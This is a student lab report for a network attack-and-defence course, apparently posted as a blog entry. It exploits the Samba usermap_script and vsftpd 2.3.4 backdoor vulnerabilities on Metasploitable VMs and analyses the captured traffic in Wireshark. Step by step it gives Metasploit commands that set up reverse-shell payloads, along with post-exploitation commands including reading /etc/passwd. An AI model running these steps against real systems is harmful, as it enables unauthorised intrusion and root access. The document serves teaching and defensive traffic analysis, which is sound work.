20252906 2025-2026-2 《网络攻防实践》第七周作业

一、实践内容
1. 使用 Metasploit 进行 Linux 远程渗透攻击

本次实践主要使用 Metasploit 渗透测试框架,对 Linux 靶机中的 Samba 服务 usermap_script 漏洞进行攻击测试。实验目标是通过漏洞利用获取目标 Linux 靶机的远程访问权限,并进一步验证攻击是否成功。

具体任务是:使用 Metasploit 中的 exploit/multi/samba/usermap_script 攻击模块,对靶机上存在漏洞的 Samba 服务发起远程渗透攻击。该漏洞利用 Samba 服务在处理用户名映射时的安全缺陷,通过构造特殊用户名触发命令执行,从而在目标主机上获得远程 Shell。

实践步骤如下:

  1. 首先,启动 Metasploit 软件。实验中可以根据个人习惯选择 msfconsole、msfgui 或 msfweb 等方式进入 Metasploit 操作界面。其中,msfconsole 是最常用的命令行方式,便于进行模块搜索、参数设置和攻击执行。

  2. 进入 Metasploit 后,选择 Samba usermap_script 漏洞对应的攻击模块,即:

  3. exploit/multi/samba/usermap_script

  4. 然后根据实验需要选择合适的 Payload。Payload 可以选择远程 Shell 类型,例如正向连接 Shell 或反向连接 Shell。正向连接是攻击者主动连接靶机开放的端口,反向连接则是靶机主动回连攻击机。在实际实验中,应结合网络连通情况选择合适的方式。

  5. 接着设置相关攻击参数,包括目标主机地址 RHOST、攻击机地址 LHOST、目标系统类型 TARGET 等。参数配置完成后,执行攻击命令,观察 Metasploit 是否成功建立会话。

  6. 攻击执行成功后,需要查看是否获得目标靶机的远程 Shell。可以通过输入 whoami、id、uname -a、ifconfig 等命令,查看当前权限、系统信息和网络信息,以判断是否成功获得靶机访问权限,并确认当前用户是否具有 root 权限。

2. 实践作业:攻防对抗实践

本次攻防对抗实践分为攻击方和防守方两个部分。攻击方负责利用 Metasploit 对 Metasploitable 靶机进行漏洞攻击,防守方则负责使用抓包和入侵检测工具对攻击过程进行监听和分析。

攻击方的任务是:使用 Metasploit 框架,结合前期扫描结果,选择 Metasploitable 靶机中存在的典型漏洞进行渗透攻击。例如可以选择 Samba usermap_script 漏洞,也可以选择 vsftpd 2.3.4 后门漏洞等。攻击方需要完成漏洞模块选择、参数配置、Payload 设置、攻击执行以及远程 Shell 获取等步骤。在成功获得远程控制权后,还需要尝试进一步查看系统权限,分析是否能够获得 root 权限。

防守方的任务是:在攻击过程中使用 tcpdump、Wireshark 或 Snort 对网络流量进行监听和记录,保存攻击过程中的数据包文件。之后结合 Wireshark 或 Snort 对流量进行分析,尽可能还原攻击过程。

防守方需要重点分析以下内容:攻击者的 IP 地址、目标靶机的 IP 地址、攻击访问的目标端口、攻击发起时间、攻击利用的具体漏洞类型、攻击过程中是否出现异常字段或特殊连接,以及攻击成功后攻击者在命令行中输入了哪些操作命令。

通过 Wireshark 可以观察攻击连接的建立过程、协议交互内容、异常端口访问以及明文命令信息;通过 Snort 可以检测攻击流量是否触发相关规则告警。最终需要根据抓包结果,对整个攻击过程进行分析和总结。

二、实验目的与原理

本次实验的主要目的是掌握 Metasploit 渗透测试框架的基本使用方法,熟悉渗透攻击模块、攻击载荷 Payload、目标参数配置以及攻击执行的完整流程。通过实验,可以了解 Metasploit 在漏洞验证和渗透测试中的基本作用。

其次,本实验通过利用 Samba 服务 usermap_script 漏洞,使学生理解 Linux 系统远程服务漏洞的利用过程。通过对漏洞模块的配置和执行,可以掌握远程命令执行漏洞的基本攻击思路,并了解攻击成功后如何获得目标主机的远程 Shell。

同时,本实验也要求完成攻防对抗分析。攻击方通过漏洞利用获得靶机权限,防守方则通过 tcpdump、Wireshark、Snort 等工具捕获并分析攻击流量。通过这种方式,可以更直观地理解攻击行为在网络数据包中的表现形式,掌握从流量中提取攻击者 IP、目标 IP、端口、时间、漏洞类型和命令内容的方法。

通过本次实践,可以进一步理解 Linux 系统远程渗透攻击的完整链路,形成从漏洞利用到流量分析,再到安全加固的基本安全防护思路。

Samba 服务 usermap_script 漏洞原理

  • Samba 是 Linux 系统中用于实现 SMB/CIFS 协议的开源服务软件,主要用于 Linux 与 Windows 系统之间的文件共享和打印共享。Samba 服务通常会开放 139 或 445 端口,因此在网络环境中比较常见。

  • 本次实验利用的是 Samba 服务的 usermap_script 漏洞,该漏洞编号为 CVE-2007-2447,主要影响 Samba 3.0.20 到 3.0.25rc3 之间的部分版本。

  • 该漏洞产生的原因是 Samba 在处理用户名映射脚本时,没有对客户端传入的用户名进行严格的安全过滤。当攻击者在用户名中加入特殊字符和系统命令时,Samba 服务可能会在处理用户名映射的过程中执行这些命令,从而造成远程命令执行漏洞。

  • 攻击者利用该漏洞时,不需要提前获得合法账号密码,只需要向目标 Samba 服务发送特制请求,就有可能让目标系统执行攻击者构造的命令。如果攻击载荷设置成功,靶机会与攻击机建立连接,攻击者便可以获得远程 Shell,实现对目标 Linux 主机的访问和控制。

  • 因此,该漏洞的本质是由于输入过滤不严格导致的命令注入问题。防御该漏洞的方法主要包括升级 Samba 服务版本、关闭不必要的 Samba 服务、限制 139 和 445 端口访问范围,以及通过防火墙和入侵检测系统监控异常 SMB 流量。

vsftpd 2.3.4 后门漏洞原理

vsftpd 是 Linux 系统中常见的 FTP 服务软件,主要用于文件上传和下载。正常情况下,FTP 服务需要用户通过账号和密码认证后才能访问服务器资源。

vsftpd 2.3.4 后门漏洞是一个比较典型的 FTP 服务后门漏洞。该版本曾被恶意植入后门程序,当攻击者使用带有 '😃'字符的用户名连接 FTP 服务时,就可能触发后门。

漏洞触发后,靶机会在 6200 端口开启一个新的 TCP 监听服务。攻击者随后连接该端口,就可能直接获得目标主机的交互式 Shell,从而实现远程控制。整个过程不需要正常的 FTP 用户认证,因此危害较大。

在流量分析中,该漏洞的特征比较明显。首先可以看到攻击者访问目标主机的 21 端口,并发送带有' 😃' 的异常用户名;随后如果漏洞触发成功,会出现对目标主机 6200 端口的连接请求;连接成功后,攻击者可能会在该 Shell 中输入系统命令。

该漏洞说明,使用存在后门或来源不可信的软件版本会给系统带来严重安全风险。防御措施主要包括使用可信软件源安装服务、及时升级 vsftpd 版本、关闭不必要的 FTP 服务、限制敏感端口访问,并结合 Wireshark 或 Snort 对异常连接行为进行检测。
三、实验步骤与过程
基础实验:使用 Metasploit 进行 Linux 远程渗透攻击
本次实验核心目标为利用 Samba 服务 usermap_script 漏洞,对 Metasploitable_Ubuntu 靶机发起渗透攻击,获取靶机的 root 权限。

实验环境配置
本次实验基于 VMware 虚拟化环境搭建,所有虚拟机处于同一网段,实验前已完成网络连通性校验与基础环境配置,虚拟机角色与 IP 分配如下:

Kali Kali Linux 192.168.200.4 Metasploit Framework、Wireshark、终端命令行工具
Metasploitable_Ubuntu Ubuntu 192.168.200.5 Samba 服务
Metasploitable_Linux Linux 192.168.200.2 vsftpd 服务
配置说明

配置 Metasploitable_Ubuntu 时,可以执行:

sudo vim /etc/rc.local

输入密码 msfadmin 后进入文件编辑界面。按 i 进入编辑模式,添加或修改以下内容:

ifconfig eth0 192.168.200.5 netmask 255.255.255.128
route add default gw 192.168.200.2

修改完成后,按 Esc,输入 :wq 保存退出,然后执行:

sudo reboot

重启虚拟机,使配置生效。

如果不想手动修改,也可以重新安装一个 Metasploitable 虚拟机,只要将其网络设置到同一网段即可,系统通常会自动获取 IP 地址。

需要注意的是,老师提供的百度网盘版 Metasploitable_Linux 可能无法正常运行。如果出现问题,可以从 Rapid7 官网重新下载,预计下载时间约 15 分钟。默认用户名和密码均为 msfadmin。

步骤 1:实验环境连通性验证
在 Kali 攻击机终端执行以下命令,验证与靶机的网络连通性,确保攻击链路正常:

ping 192.168.200.5
4

执行结果显示数据包无丢失、往返时延正常,确认攻击机与靶机网络互通,可开展后续渗透操作。

步骤 2:启动 Metasploit 控制台
在 Kali 终端以 root 权限启动 Metasploit 框架控制台,执行命令:

sudo su
msfconsole

3777327-20260421181554391-1205538078
启动完成后,进入 Metasploit 的交互式命令界面,此时终端提示符会显示为:

msf >
步骤 3:搜索并加载攻击模块

在 msfconsole 中输入以下命令,查找与 Samba usermap_script 漏洞相关的渗透模块:

search samba usermap_script

用于在 Metasploit 模块库中搜索对应漏洞的利用模块,方便后续选择并加载使用。
3777327-20260421181600113-1272048745
在搜索结果中,找到评级为 excellent 的攻击模块:

exploit/multi/samba/usermap_script

然后使用 use 命令加载该模块:

use exploit/multi/samba/usermap_script

模块加载成功后,命令提示符会变为:

msf exploit(multi/samba/usermap_script) >
步骤 4:选择并配置攻击载荷

接着执行以下命令,查看该攻击模块支持的 Payload 列表:

show payloads

本次实验选择反向连接 Shell 作为攻击载荷,使靶机在攻击成功后主动连接攻击机,从而建立远程 Shell 会话。配置命令如下:

set payload cmd/unix/reverse_netcat
3777327-20260421181615765-1243209149
步骤 5:配置渗透攻击核心参数
执行 show options 命令,查看模块与载荷的必填配置项,根据实验环境配置核心参数:

# 配置靶机IP地址(Metasploit 6+版本统一使用RHOSTS复数参数)
set RHOSTS 192.168.200.5
# 配置攻击机监听IP地址,用于接收靶机反向连接
set LHOST 192.168.200.3

配置完成后,再次执行 show options 命令,确认所有必填参数配置无误,无缺失项。
3777327-20260421181626484-519235526
步骤 6:执行渗透攻击
参数校验完成后,执行 exploit 命令发起渗透攻击:

exploit
1

攻击执行后,控制台显示 Started reverse TCP handler on 192.168.200.3:4444,并成功建立与靶机的会话,进入靶机的交互式命令行 Shell。

步骤 7:攻击结果与权限验证
在获得的 Shell 中执行以下命令,验证攻击效果与获取的系统权限:

# 查看当前操作用户,确认权限等级
whoami
# 查看靶机网络配置,确认目标为Metasploitable_Ubuntu靶机
ifconfig
# 查看当前工作目录
pwd
# 查看靶机目录文件
ls
# 查看这台 Linux 有哪些用户
cat /etc/passwd

3777327-20260421181654341-996949762
执行结果显示,当前用户为 root,成功获得靶机的最高系统权限,网络配置与靶机 IP 192.168.200.5 完全匹配,本次渗透攻击成功完成。

攻防对抗实践
本次实践分为攻击方与防守方两个角色,攻击方利用 vsftpd 漏洞完成靶机控制,防守方通过 Wireshark 完成攻击流量捕获、分析与溯源。

基础信息提取

溯源项目 详细信息
攻击者 IP 192.168.200.4
靶机 IP 192.168.200.2
攻击目标端口 初始 FTP 控制端口 21、后门触发端口 6200
攻击发起时间 流量中首次 SYN 请求的时间戳
利用漏洞 vsftpd 2.3.4 自带后门漏洞

攻击方操作
步骤 1:搜索并加载漏洞攻击模块
在 msfconsole 中执行以下命令,搜索 vsftpd 漏洞对应的攻击模块:

search vsftpd
3777327-20260421181715481-1841699705
搜索结果中,定位到 exploit/unix/ftp/vsftpd_234_backdoor 模块,执行 use 命令加载:

use exploit/unix/ftp/vsftpd_234_backdoor

步骤 2:配置攻击载荷与核心参数
执行 show payloads 查看支持的载荷,选择适配的交互载荷并配置核心参数:

# 配置靶机与攻击机
set RHOSTS 192.168.200.2
set LHOST 192.168.200.4
set payload cmd/unix/reverse

2
同步开启 Wireshark 流量捕获
打开 Wireshark,选择攻击机与靶机通信的虚拟网卡,设置显示过滤规则:

ip.addr == 192.168.200.4 && ip.addr == 192.168.200.2
点击开始捕获,同步记录攻击全流程的网络流量。

执行攻击并完成靶机操作
参数配置无误后,执行 exploit 命令发起攻击:

exploit
攻击成功后,获得靶机的交互式 Shell,执行以下操作完成对靶机的控制:

# 验证权限
whoami
# 查看靶机信息
uname -a
# 进入用户目录创建测试文件
cd /home
mkdir attack_verify
echo "vsftpd attack success" > attack_log.txt
# 查看文件创建结果
ls

3
攻击过程流量还原

  • 会话建立阶段(No. 816-818):攻击机向靶机 21 端口发起 TCP 三次握手,建立 FTP 控制会话;

  • 漏洞触发阶段(No. 821):攻击机发送 FTP 用户名 USER xxx:),用户名末尾的 😃 特殊字符触发后门程序,靶机在 6200 端口开启 TCP 监听;

  • 控制通道建立(No. 825-827):攻击机向靶机 6200 端口发起 TCP 连接,成功建立会话,获得靶机 Shell 权限;

  • 恶意操作阶段(tcp.stream eq 13/14,具体因人而异):右键选中攻击会话数据包,选择 Follow → TCP Stream,可完整还原攻击者在 Shell 中执行的所有命令,包括权限验证、目录切换、文件创建等操作。
    3777327-20260421181830448-2104280246
    3777327-20260421181833678-1128365299
    攻击特征识别

  • 漏洞触发特征:在 FTP 登录请求过程中,用户名字段中出现了 😃 特殊字符组合,这是触发 vsftpd 2.3.4 后门漏洞的典型特征。

  • 异常网络行为:漏洞触发后,靶机在非常规端口 6200 上开启监听,并与攻击主机建立 TCP 连接,说明该端口并非正常业务端口,而是由后门程序异常开启。

  • 协议异常:在 FTP 控制连接建立之后,后续流量中出现了大量 Linux 系统命令内容,这些数据已经不符合正常 FTP 协议交互过程,说明攻击者可能已经通过后门获得了远程 Shell,并在目标主机上执行命令。

四、实验中遇到的问题及解决方法

问题:
在配置 Metasploit 参数时,最开始将 LHOST 和 RHOSTS 的含义混淆,导致执行攻击后虽然模块正常运行,但没有成功获得 Shell 会话。

原因:
RHOSTS 应该设置为靶机 IP,用来指定攻击目标;而 LHOST 应该设置为攻击机 IP,用来接收靶机的反向连接。如果 LHOST 配置错误,靶机即使成功触发漏洞,也无法正确回连攻击机,因此不会生成有效会话。

解决方法:
重新使用 ifconfig 查看攻击机 Kali 的 IP 地址,确认攻击机地址为 192.168.200.4,靶机地址为 192.168.200.2。随后重新配置参数:

set RHOSTS 192.168.200.2
set LHOST 192.168.200.4

配置完成后再次执行 show options 检查参数是否正确,确认无误后重新运行攻击模块,最终成功建立远程 Shell 会话。

五、实验总结

通过本次实验,我完成了使用 Metasploit 对 Linux 靶机进行远程渗透攻击的基本流程,掌握了漏洞模块搜索、模块加载、Payload 选择、参数配置以及攻击执行等操作步骤。实验中分别利用了 Samba usermap_script 漏洞和 vsftpd 2.3.4 后门漏洞,对靶机进行了渗透测试,并成功获得了远程 Shell 权限。

本次实验让我更加直观地理解了远程漏洞利用的完整过程,也认识到参数配置、网络连通性和服务版本都会直接影响攻击结果。通过排查问题,我进一步区分了 RHOSTS 和 LHOST 的作用,也加深了对反向 Shell 连接机制的理解。整体来看,本次实践不仅提高了我对 Metasploit 工具的使用能力,也让我对 Linux 服务漏洞、攻击流量分析和基础安全防护有了更清晰的认识。

posted @ 2026-05-10 21:31  淡墨如野  阅读(15)  评论(0)    收藏  举报